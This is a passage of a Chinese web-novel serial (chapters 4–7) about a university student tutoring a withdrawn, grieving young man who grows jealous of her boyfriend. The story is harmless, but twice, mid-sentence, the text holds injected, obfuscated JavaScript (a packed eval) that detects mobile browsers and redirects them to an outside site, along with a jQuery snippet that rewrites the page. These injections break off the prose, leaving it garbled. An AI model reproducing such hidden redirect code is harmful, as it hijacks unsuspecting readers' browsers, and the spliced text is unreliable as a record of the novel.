明天一早贺矜善就要去祁胜与家进行第一次授课,谢俊延都拎着箱子从宿舍楼出来了,又对贺矜善说要不还是等她第一次上班回来之后再走,但贺矜善想到他妈妈之前说想他回家时的语气,还是没有答应,好说歹说地才给人送到了车站。 “矜善,你会想我吗?”谢俊延上车前牵着贺矜善的手这么问了句。 贺矜善微笑着由着他牵着:“会。” 谢俊延俯身向前,在她额前落下一吻,眼里情绪复杂,贺矜善不大能看懂:“矜善,等明年毕业,我们就结婚,好不好?” 贺矜善倒是还没想到那么远,不过她和谢俊延相处得很好,感情也很稳定,如果爸妈也没什么意见的话,在她看来,她和谢俊延应该就是会结婚的。 她抿着唇点了点:“嗯。” 谢俊延听她这么答应,嘴角才渐渐漾出一抹笑:“我走了,好好照顾自己,记着给我打电话。” 贺矜善依旧微笑着点了点:“嗯!” 4. 瑟瑟04 第二天一早,贺矜善按照约定前往祁良安家进行第一次授课。 虽说这件事是祁良安先主动提出的,经过这么几次见面,祁胜与也觉得贺矜善应该并不是什么坏人,贺矜善打算怎么给祁良安上课他不管,祁良安又打算怎么和贺矜善相处他也不管,毕竟这些都是年轻人的事,他一个中年人也不了解,而且他作为一个父亲,只要祁良安能一天比一天更好,就足够了。 但到底是双方第一次正式见面,地点还是在家里,贺矜善毕竟是外人,家里的各个房间、电器用法、物品摆放收纳还有后花园的花啊菜啊什么的都不了解,家里做饭保洁的阿姨也还没见过。 祁胜与并不认为祁良安有能力能主动带贺矜善认识这个认识那个,专门请了半天假带着贺矜善把家里每一处细节都介绍了一遍,确保未来一年她在这里的教学生活能顺利进行,而且万一祁良安有个什么事动不了了,贺矜善想帮他拿个什么东西做个饭什么的也不至于完全摸不着头脑。 “一楼这两个房间都是客房,如果有需要的话,贺同学你可以任选一个住下。”祁胜与推开别墅一楼东侧的两扇客房门,回过头来微笑着对贺矜善说。 “不用了,谢谢祁教授。”贺矜善微笑着拒绝,“我向学校提交了留校申请,暑假住在宿舍就可以。” 祁胜与点了点头礼貌笑笑,没再继续,转身向厨房边上走去,叫了一声正在备菜的阿姨:“刘阿姨。” 刘阿姨答应一声,放下手里的菜往祁胜与这边走来,笑着说:“祁教授,有什么需要吗?” 祁胜与先是回过头去向贺矜善介绍:“贺同学,这位是我家的阿姨,刘芳英,每天饭点的时候会提前过来清洗上一餐的餐具并做饭,做好之后离开,家里三天一次保洁,她一般会选在下午三点再过来,一直到做好晚饭之后才离开,之后如果你还有什么疑问,可以问她,当然我在家的话问我也可以,良安……他愿意回答的话,也行。” “好。”贺矜善认真听着,微笑着向刘芳英点头打招呼,“刘阿姨好。” 刘芳英笑着点头回应:“同学你好。” “刘阿姨。”祁胜与又向刘芳英介绍贺矜善,“这位是贺矜善贺同学,良安的新家教,也是良安的朋友,是我们家的贵客,一直到明年良安高考,她都会一直过来我们家,你一定要以礼相待,千万不能怠慢。” “祁教授你放心好了,我刘芳英不是势利眼,也绝不会做那当面一套背面一套给人使绊子的事儿。”刘芳英笑着说着,接着很是惊喜地问祁胜与,“不过你刚才说良安明年要高考吗?他好了?” 祁胜与不禁叹了口气,面上还是挂着礼貌的笑,他其实想说但愿会好起来,但又怕这么说会给贺矜善压力,只是点了点头,说:“只是有这个打算,到时候看吧,不考也没事儿。” 刘芳英看他这反应,也知道是自己想错了,有点失落地垂下视线:“是,良安不考也没事儿,反正家里也养得起,而且沈总还有大半的股份在他身上。” 说完这里,她才意识到还有贺矜善在场,一时有些后悔,祁胜与看出她的想法,尽管他知道刚才才说了不能怠慢贺矜善,现在说话时就这样把她排除在外有些不礼貌,但贺矜善对他来说毕竟只是个认识了还不满三天的人,祁良安身上有沈氏股份的事,他确实是不想让她知道。 毕竟他能感觉到良安似乎看她很不一样,毕竟良安现在只是个刚成年的孩子,心理上还出了些问题,万一贺矜善生了别的什么心思,利用欺骗祁良安,那他才真是引狼入室,无颜再面对逝去的妻子。 他只是对刘芳英摆了摆手,示意她继续做饭就好。 贺矜善倒是没怎么把刘芳英的话放心上,或者说,她来的路上就已经猜到了一些。 能在云霞市市中心最高档的别墅区里拥有一栋独栋别墅,还包含有后花园和农场,如果祁胜与真的只是大学教授的话,那祁良安的妈妈就一定是个总经理级别的人物。 刘芳英说完话后的神情和祁胜与的反应她都看在眼里,她也能够理解,毕竟祁良安太小了,心理上还有阴影,不怎么喜欢她的话还好,偏偏又主动提出想让她来做家教,也就是说,只要她想骗,很大概率是能骗到的。 但她不想。 她来这里,是希望自己真的能帮得上祁良安,就算最后结果真的不尽如人意,至少不该辜负祁家父子和谢俊延对她的那些评价,在祁胜与已经向她开出这样丰厚报酬的基础上算计祁良安,做一些贪得无厌令人不齿的事。 家里的事已经介绍完,祁胜与大概是被刘芳英刚才的那句本意是安慰的“不考也没事,反正家里也养得起”的话刺激到,前天才好不容易升起的希望被一下子浇灭,而且换位思考一下,刚才他的那番不作为对贺矜善来说确实也非常不礼貌,眼下祁胜与连再次向贺矜善开口求证或只是需要麻烦她再对他说一遍“祁良安应该还是有希望的”这句话的脸面都没有,饭都没有吃,借口学校还有事,开车离了家。 刘芳英倒是没怎么在意刚才的事,依旧一副对待贵客的笑脸招待贺矜善,饭做好后在桌上摆了两副碗筷,和她打了声招呼,按照工作要求离开了别墅。 别墅里一下子只剩下贺矜善一个人面对着一桌好菜。 从她来了之后,祁良安就一直在楼上自己的房间里待着没出来,祁胜与说祁良安从出事后一直这样,不和人交流,也不怎么和人见面,只有饭点的时候会下楼吃饭,但那也是在外面没人的情况下。 贺矜善看着桌上那几道已经放了一会儿的菜,又抬头看了看祁良安紧闭的房间门,猜测或许是因为有自己在,祁良安才不敢出来。 可是……贺矜善低头皱着眉,她今天来就是给祁良安做家教的,如果现在走了,那一会儿再来的时候他又进房间不出来了怎么办? 她为难地摸了摸额头,偏偏刚刚又忘了问祁胜与她可不可以敲祁良安的门,这个动作会不会吓到他。 贺矜善看了眼手机,时间已经快到十二点半,她担心祁良安真的是因为她才一直不敢下楼吃饭,而且现在天气热,别墅里开了空调制冷,菜要不了一会儿就会凉,她赶紧把多出的一副碗筷放回了厨房里,拿上祁胜与给的钥匙,背着包准备出门,结果刚要离开,听见楼上传来门开的声音。 她抬头看去,正好看见站在二楼栏杆边上一脸紧张的祁良安,他依旧是长到遮住眉眼的黑发,嘴唇因为紧张而紧抿着,胸口随着呼吸不停起伏着,但幅度大得有点不正常。 贺矜善能感觉到他整个身体都处于一种极度紧绷的状态,还是觉得应该是他想像往常那样在没人的时候出来吃饭,结果忽然看见自己,这才被吓到了,她赶紧礼貌地朝他笑笑,用温和的语气和他解释:“良安,你不用害怕,我不会和你一起吃饭,我出去吃,一会儿大概两点的时候才会过来,你慢慢吃不用着急。” 说完她又看着祁良安笑笑,没再耽搁,直接转身出了门。 贺矜善在外面随便吃了点东西,付钱的时候才看见祁胜与二十分钟前给她转了三万,说是提前预支半个月工资,方便她上下班和吃饭。 后面还跟了句:如果方便的话,可以和良安一起吃饭吗? 贺矜善盯着这句话看了好一会儿,确定自己没有看错,祁胜与发来的确实是方便的话和良安一起吃饭,而不是方便的话请不要和良安一起吃饭。 所以……祁良安刚才那样,其实是……想留她吃饭的意思吗? 她看了眼时间,下午一点十分,刚才走的时候是十二点二十的样子,这么长的时间,现在回去的话应该也赶不及陪他吃饭了。 她又犹豫一会儿,还是决定直接回别墅,既然现在明确了祁良安一直不出来不是因为怕生排斥她,而是想接近却不敢,那就算现在回去陪不了他吃饭,陪着干点别的或者直接辅导功课也是好的,不然让人家一个弟弟一直等她也不好。 贺矜善吃饭的餐馆里别墅区不远,回到别墅的时候刚好一点三十,她拿钥匙开了门,祁良安还坐在餐桌边上,面前摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺矜善差点就要接话的时候,听见他又重复一遍:“能认出你。” 但很快又垂下了视线,没再看她。 这回贺矜善是发自内心地笑了笑。 这个弟弟。 祁良安的身体和情绪看上去都已经接近正常状态,贺矜善伸手搭在他刚才坐过的椅子,笑着问他:“我们坐着聊?” 祁良安先是一愣,而后紧抿着唇,挪动脚步往贺矜善这边走来,双手依旧是紧紧攥着衣摆,绵绸的面料已经被他攥出道道折痕。 贺矜善帮他拉开椅子坐下,想了想,还是觉得坐到他对面去好些,刚起身,又看见桌上摆着的那几道一点热气都没有的菜,低下头问他:“良安,你是不是还没吃饭?” 祁良安仍是攥着衣角,点头:“嗯。” 贺矜善拧着眉不解:“为什么?刚才在忙别的事吗?” 祁良安抿着唇,又低下了头,但他看起来像是又紧张起来,嘴唇连带着下颌线一整片都紧绷着。 贺矜善以为他是在为难,自觉冒犯,赶紧说:“不想说也没关——” “我想等你一起吃。”祁良安忽然说了句,音量适中,字句清晰。 贺矜善一瞬间语噎。 祁良安想要和她一起吃饭这件事,她刚才就已经知道了,但她以为错过了就是错过了,就算要再一起吃,也该是下次才对。 没想到祁良安竟然就这么傻傻地一直等在这里。 贺矜善自认为自己就是一个非常认死理的人,这么多年来,每每与人真心换真心的时候,被辜负、被人笑话是不会变通的傻子的那个人都是她自己,还从来没有人在她这里被辜负冷落过。 但现在……比她更认死理的人好像出现了。 好一会儿,她才看着祁良安慢慢叹了口气,俯身下来对他微笑一下,温柔说:“那良安稍微等等,姐姐去把菜热一下。” 5. 瑟瑟05 再次把菜端上桌的时候,贺矜善先是给祁良安盛好饭,微笑着放在他面前:“吃吧,我陪着你。” 祁良安低着头看着桌面上的米饭,捏着筷子迟迟没动,贺矜善在他对面坐下,刚想问他怎么不吃,听见他问:“你……不吃吗?” “姐姐刚才吃过了,现在吃不下。”贺矜善朝他笑笑。 态度真诚,语气柔和,不像是在说假话敷衍。 “嗯。”祁良安点头应了一句,没再说话,拿起筷子开始吃饭。 他吃饭很是文静,细嚼慢咽的,夹菜扒饭的动作也很轻,连实在无法避免的咀嚼菜的声音也小到仔细听才能听见。 贺矜善在他对面坐着,很自然地看着他吃了会儿,嘴角轻轻扬了扬,发自内心觉得这个弟弟真的很乖。 自己情绪都崩溃得呼吸困难了,还不吵不闹的,过了饭点才吃上饭,吃相都还这么好。 想到饭点,她又想起来刚才的事,叹了口气,叫了他一声:“良安。” “嗯?”祁良安动作停住,抬头看她。 贺矜善朝他微笑着:“姐姐跟你提一个小建议好不好?” 祁良安嚼了嚼,咽下嘴里的食物,放下碗和筷子,先低头,再点了两下:“嗯。” 贺矜善仍是笑着:“不用这么紧张,我就是想和你说,如果下次也是像刚才那样,你想让我、或者是别的什么人陪你吃饭或者做别的,但还没能来得及说出口对方就走了,你不能再这么傻傻地一直等着。” 她想起祁胜与给她发的微信,继续说:“你可以找机会告诉她、或者通过亲朋好友联系上她,让她知道你有这个需求,如果对方也愿意的话,就会想办法和你约定下一次的时间,你不能这样对待自己的身体,知道吗?” 祁良安依旧低头紧抿着唇,他没有点头,而是慢半拍地开口:“可是,万一我不这样,那个人会觉得我不够真诚,就不回来了怎么办?” “怎么会?”贺矜善皱起了眉,但她怕被祁良安看见会被他误解成她不喜欢他,抬手抚了抚眉心,很有耐心地和他说着,“良安,如果那个人真的愿意为了你回来,那么你真诚、你以礼相待,都是正确的,但是你刚才那样的行为……” 贺矜善斟酌了一下词句:“真诚太过,这样不仅会对你自己的身体造成伤害,还会让别人陷入被道德绑架的境地。” “我没有想道德绑架你。”祁良安忽然抬头说了句,一滴泪从他脸颊滑过,嘴唇都在不受控地颤抖,“真的。” “姐姐知道。”贺矜善看他哭了,一下子也有点慌了神,生怕自己说重了又会伤到他,但是如果不说,他以后还这样,对他自己终究也不好。 她起身将桌上的抽纸递给他,柔声说着:“我知道良安刚才只是想让姐姐看到你的诚意,让姐姐知道你是真的想要姐姐陪你吃饭,很想很想,想到姐姐不回来你就会吃不好。” “但是良安。”或许是联想到了自己的一些经历,她没忍住叹了口气,接着说,“这个世界上不是每个人都有心的,也不是每个人都能设身处地为别人考虑,或者说,在很多人心里,我们都并没有很重要,我们的身体是否健□□活是否快乐,对她们来说都无关轻重,你做这些伤害自己来证明真心的行为,也许会换来对方的一时怜悯,也许什么都换不到,但唯一确定的是,这样会让关心我们、爱护我们的人非常伤心难过。” “所以良安。”贺矜善温柔和他对视着,“答应姐姐,无论以后遇到多紧急的情况、你有多想让对方帮你做什么,都不能再做出伤害自己的行为,好吗?” 祁良安紧抿着唇,一双湿漉漉的眼睛看着她,额前的刘海都被打湿了一些,他闭眼点点头,又有两颗泪珠落下来:“好。” 贺矜善笑着松了口气,又扯了两张纸递给他:“那我们不哭了好不好?赶紧吃饭,吃完了我们就开始学习了?” 祁良安接过她递来的纸擦了擦,抽泣着点点头:“嗯,好。” - 祁良安已经将高中的知识学完,贺矜善本身也没有高中的教学资格证,说是家教,说是来上课和辅导,实际上也就是祁良安把所有教辅资料拿给贺矜善,贺矜善根据时间给他划分出每月、每周和每天的学习任务,然后再和他商讨一下今天复习什么,明天复习什么,敲定之后祁良安在房间做题,贺矜善可以选择就在房间里待着,也可以选择去家里别的地方转转。 到底是第一次这样长时间的共处室内,贺矜善还是担心祁良安会不适应,在旁边坐了一会儿之后,和祁良安说自己想出去随便看看,轻轻掩上门,离开了他的房间。 但她离开房间之后也并没有到处转,虽然祁胜与说她可以把这里当做自己的家,但这里毕竟不是她的家,就算房子的主人有多么欢迎她,她也只是一个客人。 她下了楼,在刚才的餐桌上安静坐着。 大概是夏天的午后真的容易疲倦,贺矜善坐着坐着竟然睡着了,再次醒来的时候,手边已经多了一支红笔、两份已经做完且叠放整齐的试卷和对应的参考答案。 还有一杯温热的柠檬水。 她回过头往楼上看了看,祁良安的房间门不是关闭的状态,而是完全地打开着。 贺矜善的视线在那里多停留了两秒,又两秒,温柔的眉眼舒展开,好看的唇轻轻弯了弯。 这应该是祁良安在告诉她:你可以进入我的世界。 她微笑着转过头来,靠着椅背松了口气。 还好,她来之前的担心都是多虑,她大概,真的能帮上他。 贺矜善深呼吸一下调整自己的精神,拿起红笔开始给祁良安批改试卷。 他的字迹和那天贺矜善在阶梯教室里看到的似乎不太一样,虽然看着还是一样的刻意和压抑,丝毫不敢出格逾矩,但力度看上去就小了很多,两张试卷上留下的都只是一些正常的书写印痕。 祁良安是理科生,贺矜善是文科,今天布置的试卷一张语文,另一张是物理,语文还好,她能看懂每一步的给分细则,一整套试卷下来,也能摸清楚祁良安那一部分最薄弱,但物理就不一样了,好多公式和步骤她都不了解,一套卷子下来她拿着手机搜了不下二十次,最后算总分的时候,额头上都沁出了细细的汗珠。 但她还是只打了语文的分数,因为物理的分有点太低了,她怕是自己看不懂题算错,也怕万一没算错祁良安看到这个分数会受挫。 她将柠檬水喝了,拿上试卷答案和红笔上楼。 她在祁良安房门前驻足,敲了敲打开的门。 祁良安应该是在做别的什么题等着她,听到声音后抬头望向她。 “姐姐进来了?”贺矜善笑着问他。 “嗯。”祁良安抿着唇点了点头。 贺矜善走进去,先将语文试卷拿给他,笑着说:“考得不错,现代文阅读做得很好哦,不过其他部分也还有一些可以进步的空间。” 祁良安接过试卷,眼神平静,看不出是高兴还是失望。 贺矜善拿着物理试卷在他旁边坐下,试探地微笑问他:“良安,你平常物理是多少分啊?” 祁良安转过脸看她,清澈的眼眨了眨,低下头去说:“我……很久没有做完过一套试卷了。” “哦……”贺矜善点了点,把试卷递了过去,“良安,是这样,姐姐是文科生,对物理的知识确实是没有很了解。” 她又把答案翻开给他看:“要不你先检查看看,看姐姐有没有批改错的地方。” 祁良安看了看试卷上稀疏的几个得分数字,摇了摇头,说:“应该没有。” 他长睫颤抖,咽了咽说:“我做的时候,就知道会错很多。” 贺矜善有点为难地皱着眉。 照这么说,祁良安的物理成绩并不好,而且是差到必须要有老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831968|175606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师教学才能提升,可是她…… “我也试着给他找过家教,但他没办法在那些老师面前放松下来,就那么两个人面对面相处都做不到,连家里做饭的阿姨和他待在同一个空间都会觉得无比紧张……” 祁胜与为难地话语犹在耳畔,贺矜善及时打消了要不然让别人来辅导他学习的念头。 算了,只要他能走出那段心理阴影,以后可以像普通人那样正常生活,能考成什么样就考成什么样吧。 但她是不会就此放任不管的。 贺矜善朝他微笑一下,安慰说:“没关系的良安,相信姐姐,姐姐一定能带着你进步的,你一定会越来越好。” 祁良安慢慢抬起头看她,抿着唇点了点:“嗯嗯。” 贺矜善给祁良安评讲完语文试卷后,时间已经过了下午六点,刘芳英已经做好了两道菜,祁胜与也已经回来有了一会儿。 这毕竟是祁良安第一天开始系统复习,她怕一下子留太多作业他会不适应,只勾了英语书上的一列单词让他背诵,然后将他的物理试卷和参考答案放进包里准备离开。 “姐姐。” 身后忽然传来祁良安的声音,贺矜善回过头看他:“怎么了?还有哪里不懂吗?” 祁良安站在书桌前,一只手按着桌面,另一只手又将好不容易才恢复平整的衣摆攥紧,他呼吸又开始变快,贺矜善不知道他想要什么,只能等他自己说,但也不想看他这样激动难受,她背着包朝他走去,微笑着轻声说着:“没关系,你慢慢说,姐姐等你就是。” 祁良安和贺矜善对视上,仅一秒,他视线像是被什么烫到一般迅速移开,胸口快速起伏着,他仅仅攥着衣摆,用力闭了闭眼,然后抬眼和贺矜善对视说:“你能不能……再陪我吃一次饭。” 贺矜善将他的一举一动看在眼里,也跟着紧张了好一会儿,最后听到他说只是想再一起吃个饭,没忍住笑了出来,她低头掩了掩,然后抬头回答祁良安:“当然可以啊。” 祁良安一瞬间眉开眼笑起来,他看着贺矜善,满眼都是星星:“谢谢姐姐。” 贺矜善又笑笑:“不用谢的,姐姐还要谢谢你,留我在你家吃饭。” 祁良安低下头抿唇笑笑,搬凳子给贺矜善坐下,然后回过头去书桌上拿手机。 过了会儿,房间门被敲响,贺矜善去开门。 “小贺同学。”刘芳英笑着给她打招呼,递给她一个餐盘,上面有两碗米饭和几碟菜。 贺矜善这才明白祁良安为什么一直没说什么时候下楼,原来是直接让刘芳英把饭送上来了。 “姐姐,我来吧。”祁良安看刘芳英走了,走过来接贺矜善手里的餐盘。 “不用,姐姐来就好。”贺矜善说,“我们在哪儿吃?” 祁良安指了指已经整理出来的书桌。 贺矜善朝他笑笑:“好。” 贺矜善原本还以为祁良安留她吃饭是想再说些什么,但他只是安安静静地埋头吃着,时不时冒头隔着有些挡眼睛的刘海看着她抿唇笑笑,一直到这顿饭结束,也没说什么。 “好了,姐姐要回学校了,明天早上再来看你。”贺矜善背好包站起身,对着祁良安微笑告别。 “姐姐。”祁良安忽然叫她一下,又是一段紧张的心理准备之后,他转身将桌上的手机拿过来,睁着一双透亮的眼睛看着贺矜善,“我能……存一下你的电话吗?” “可以啊。”贺矜善对他笑笑,接过他的手机将自己的电话输了进去,保存备注好之后又递还给他。 祁良安接过手机,认真记牢屏幕上的那个名字。 贺矜善。 “姐姐走了,明天见!”贺矜善背着包转身走到门边,朝他笑着歪了歪头。 祁良安双手拿着手机,抬头看着贺矜善,也笑起来,用力点了点:“嗯嗯!” 明天见,矜善姐姐。 6. 瑟瑟06 出门的时候祁胜与跟了上来,问贺矜善今天的情况怎么样,贺矜善都还没来得及说到祁良安给她倒柠檬水的事儿,就说了个祁良安带她进了他的房间学习,祁胜与就高兴得眼泪都出来了。 “抱歉,我太激动了。”他抬手擦着泪。 “没关系的。”贺矜善从包里递了纸巾给他,“需要纸巾吗?” 祁胜与笑着一边擦眼泪一边接过:“谢谢。” “不客气。”贺矜善笑着回答。 “贺同学,我……”祁胜与说着说着笑着叹了口气,“我……” 贺矜善看出他的为难,笑着接过话茬:“真的不客气,良安能这样,我也很高兴。” “他是个很乖的弟弟,能做他的家教老师,我很荣幸。” 祁胜与又笑起来,但眼里泪水却不断,哽咽许久,最后还是只是一直重复着:“谢谢你!真的谢谢你!” “真的,不客气。”贺矜善始终这么回应着。 回到宿舍简单洗漱一下,贺矜善坐在书桌前拿出包里的物理试卷,一道题一道题地上网查找研究着。 八点半的时候,谢俊延的电话打了进来。 贺矜善一边看着卷子上的实验题,一边接起电话:“俊延?怎么了?” “没有怎么啊,就是想你了。”谢俊延在电话那头说着,“而且我们不是说好了每天都要通电话的吗?才一天就忘了?” 贺矜善研究题研究得有点头疼,听他这么说才想起来两人分别前确实是约好了每天都要联系,她放下笔揉了揉太阳穴,笑着说:“不好意思啊,我就是有点太忙了,没注意时间,差点忘了。” “很忙?”谢俊延问,“是家教不顺利吗?” “那个祁良安是不是不好相处啊?要不然和那个教授说我们不做了?”他说着,“其实那天去和他见面的时候我就有点后悔让你去,那个弟弟毕竟心理有问题,你去给他做家教,万一出什么事怎么办?” “没有。”贺矜善笑着解释着,“其实他挺乖的,就是和人相处容易紧张,不会怎么样的。” “就是他学的是理科,但我是文科。”她叹了口气,“辅导题目的话会有点头疼。” “不是说不用怎么认真教吗?”谢俊延又问。 “祁教授确实是这么说的,但我也不能真的就这么做啊。”贺矜善说,“而且一开始我们都以为主要的问题应该是在和良安的接触上,但今天一天下来,我发现良安还是能接受我的,既然能接受,我觉得我还是尽力做好家教的本职工作好些。” 谢俊延那边没回话,过了几秒,才冒了句:“才一天,你都叫他良安了。” 贺矜善一时惊讶,而后笑着说:“高中生弟弟的醋你也吃啊?” “高中生那也成年了好吗?”谢俊延依旧酸言酸语,“而且弟弟也是男的啊,怎么就不能吃醋了。” 贺矜善仍是笑笑:“好,吃吧吃吧。” “那你不许叫他良安。”谢俊延说,“就叫祁良安,也不许说他乖,还有什么他接受你之类的话。” “好——”贺矜善笑着应下。 “这还差不多。”谢俊延说了句。 时间已经不早,但贺矜善还有大半张试卷没有研究,对电话那头终于消气的谢俊延说:“俊延,我要挂电话了,我还有好多题都不会,要认真研究一下。” “什么题啊?”谢俊延问,“这么难吗?” “物理题。”贺矜善说着,忽然想到谢俊延高中也是理科,问他,“对了俊延,你高中的知识还记得吗?” “应该……”谢俊延听出她的意思,憋着笑逗她,“应该是……唉?到底还记不记得呢?” “俊延。”贺矜善叫了他一声。 他笑起来:“当然记得,你男朋友我当年可是680上的云霞大学。” “你拍照发过来吧,然后我们开视频讲。” “好。” 谢俊延的知识储备还不错,题讲得也很清楚,一通视频打下来,贺矜善这样一个几乎零基础的理科小白,第二天并着做的笔记和试卷参考答案,也差不多能给祁良安讲明白。 一连小半个月,都是白天祁良安做试卷,贺矜善订正并将试卷带回,晚上和谢俊延视频通话问问题,第二天再转述给祁良安。 贺矜善怕自己有时候会讲错误导祁良安,告诉了他自己是文科生,对理科知识没有特别了解,如果觉得哪里有讲错,一定要问出来。 祁良安倒是没有纠正过她,只是偶然问起过既然是文科生,为什么会做这么多理科题,是不是专门为了他去学的。 虽然事实的确如此,但贺矜善怕他会觉得过意不去,没有说特意去学,只说是和男朋友打电话的时候顺便就问了。 祁良安当时听见这个回答,亮晶晶的眼眸一下子暗了下去,一连好几天对她都有点冷冷的,甚至好多时候贺矜善讲卷子,他也是听着听着就走神了。 贺矜善不明白他这是怎么了,以为是祁良安嫌她给他布置的作业太多,学习压力太大,觉得累觉得烦。 于是她给祁胜与打了个招呼,得到了他的同意后,在一个傍晚骑了辆共享电瓶车来到他家门口,接着祁良安去海边兜风。 祁良安自从母亲去世之后就很少出门,就算出门,也是在祁胜与的陪同下去医院、去心理咨询机构、或者去云霞大学里呆愣愣地坐在一边等他。 在一个夏日、傍晚、海边、骑着车兜风。 这几个关键词组合起来的画面,对祁良安来说,简直遥远得像是上辈子发生的事。 在妈妈还在世时的时候,在他还没有觉得这世界上的一切欢笑与美好对他来说都是这样的压抑痛苦的时候,可不就是上辈子吗。 现在这样的生活,活着和死了又有什么区别。 祁良安戴上贺矜善递来的头盔,坐上车后座,抓着坐垫后方的安全杠,没什么情绪地说了句:“我好了。” “嗯?”贺矜善双手把着车头,她以为祁良安会把手放在她肩上,再不济,也该抓着点她的衣服才对,海边那条路弯弯绕绕的,万一摔了可怎么办。 她回过头来对他说着:“手扶着姐姐,不然一会儿容易摔。” 祁良安始终记得她说她有男朋友的事,而且还是每天通电话,每天拿着他错漏百出的试卷去向男朋友请教错题怎么改和理解,每天她给他讲题用了多久,她男朋友给她讲题的时间就只会更久。 他低头紧抿着唇一动不动,他的头发似乎又长长了一些,垂下去的时候已经能完全盖住眼睛,让人完全看不清他眼里的情绪。 但贺矜善丝毫没意识到他这是觉得生气和难堪在刻意和她保持距离,只单纯以为这就是高中生学习压力太大连同老师也一起讨厌的一点儿小脾气。 她看着他弯唇笑笑,转过身来伸手给他拨了拨头发,柔声问着:“一会儿我们再去剪个头发?你这头发再长下去得扎眼了。” 祁良安显然是被贺矜善突如其来的触碰给吓到,整个人猛地一抖,肩膀都缩了缩。 贺矜善也被他 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“两只手扶着姐姐。”贺矜善笑着朝他拍了拍自己的肩膀。 祁良安依旧抿着唇朝她肩膀伸出一只手,耳尖烫得吓人。 “另一只手也要扶稳姐姐哦。”贺矜善又说。 祁良安又往下低了低头,迟钝地朝她伸出另一只手,指尖刚搭上她衣服布料,就一下子弹开了,他红着脸绷着唇缓了两秒:“一只就行了。” 贺矜善一时被他逗乐。 到底是个还在准备高考的弟弟,这就不好意思上了。 她看着他那红得快要滴血的耳垂,也不打算为难他,但安全还是必须要保证的,她伸手将后腰的衣服扯了扯:“那抓着姐姐衣服?” 祁良安似乎还是有些犹豫,贺矜善佯装等不及:“良安,再不出发,一会儿我们就要被堵在路上了。” 祁良安听她这么说着,咬了咬下唇,伸手抓住她的衣服。 “我们良安真乖。”贺矜善笑着夸他,转过身去拧动车钥匙,“出发了。” 云霞市有三分之一临海,祁良安家所在的别墅群虽然不是海景,但离得也很近,虽然是赶上了下班高峰期,但贺矜善抄了条小路,不过十五分钟,就到了沙滩边上。 祁良安怕生人,贺矜善让他先在车上等她,自己去旁边的烧烤摊拿上来之前就定好的烧烤,然后拎了两个小马扎带着祁良安去最右侧没什么人的沙滩上坐着吃。 “这家的烧烤很好吃的,你尝尝看。”贺矜善递了串牛肉给他。 这家烧烤好吃,祁良安怎么会不知道。 但贺矜善是怎么知道的? 云霞大学离这里这么远,是专门过来玩的时候知道的吗? 和谁一起过来的?又是男朋友吗? 他接过串,垂着视线没说话,也不吃。 都已经出来玩了,他还是这样,贺矜善还是觉得得开口问问:“良安?你是有什么心事吗?” “或者……”她看着他咽了咽,“姐姐有什么地方惹你不高兴了吗?” 祁良安听她语气认真,怕自己不回答的话,她会生气离开,他手指捏着烤串签子,小心翼翼地抬眼看她,又错开。 “姐姐没有惹我不高兴。”他轻轻说了句。 贺矜善皱起眉:“那良安最近为什么看上去总是不高兴呢?” 祁良安看着手里那串牛肉,好一会儿,才开口:“姐姐,你很喜欢你男朋友吗?” 7. 瑟瑟07 “嗯?”贺矜善说,“怎么突然这么问?” 祁良安抬眼看她:“能和我说吗?” 贺矜善垂下视线,手里拿着烧烤袋子:“挺喜欢的。” 祁良安偷偷攥紧了拳头:“他很好吗?” 贺矜善笑起来:“对啊,不好我就不会和他谈恋爱了。” “那你喜欢他什么?”他问。 贺矜善皱眉想想,想着想着笑起来:“他对我很好,总是照顾我,人也很好、很优秀、总是带着我进步,和他在一起,我会觉得很放松很舒服。” 贺矜善呼出口气转头看他:“怎么突然问起这个?难道……我们良安也有喜欢的人了?” 祁良安转过脸答得干脆,语气很冷:“没有。” 贺矜善看了他一会儿,笑笑没说话。 之后的时间,祁良安情绪很淡,贺矜善尝试了几次都没能得到他的正常回应,自觉不讨好,也就不再继续,手里的烧烤吃完,贺矜善将祁良安送了回去。 祁良安走的时候第一次没有和她说再见。 贺矜善在门口愣了愣神,低头叹了口气,骑车回了学校。 两人这种近似于冷战但上课时又有正常沟通的相处就这么继续持续到暑假结束,祁良安的成绩提升得还算快,又或许,是他本来的基础还不错,调整状态之后做题能力在慢慢恢复。 如果说之前他面对贺矜善只是偶尔不再紧张,那他现在就是完全不紧张,甚至可以长时间和贺矜善对视,不但自己不再烧脸红耳朵,每每倒是弄得贺矜善先抿着唇避开视线。 但他依旧不怎么在课外时间搭理贺矜善,整个八月,似乎就只有七夕节的时候贺矜善和祁胜与说想请两天假陪男朋友过节的时候冒了一句:“多请几天吧直接。” 他这话接得突然,贺矜善和祁胜与都没有料到,但他语气很是平淡,听不出有什么情绪,祁胜与以为他只是单纯在提议给贺矜善多放几天假,还觉得自己忽略苛待了贺矜善,一连给她放了一周。 贺矜善倒是能感觉到他情绪有问题,说让多请几天肯定也不是觉得她辛苦体谅她,但她着实想不明白自己到底是哪里得罪了他,找不到原因,自然也就没办法解决,干脆趁着放假让大家分开一段时间,距离产生美,说不定之后再见就好了。 但现实就是一直到九月开学,贺矜善白天回到学校上课和准备毕业论文、晚上再去给祁良安上课的时候,祁良安依旧是这种状态。 谢俊延听说之后,还是建议贺矜善结束这份工作,反正一开始去是为了让祁良安和人相处不再紧张,他现在都该给她甩脸子了,成绩也在慢慢恢复,那她的工作也算是提前结束了。 但贺矜善觉得,她和祁良安,不该就这样,就算真的要结束,也应该平和地、友好地结束。 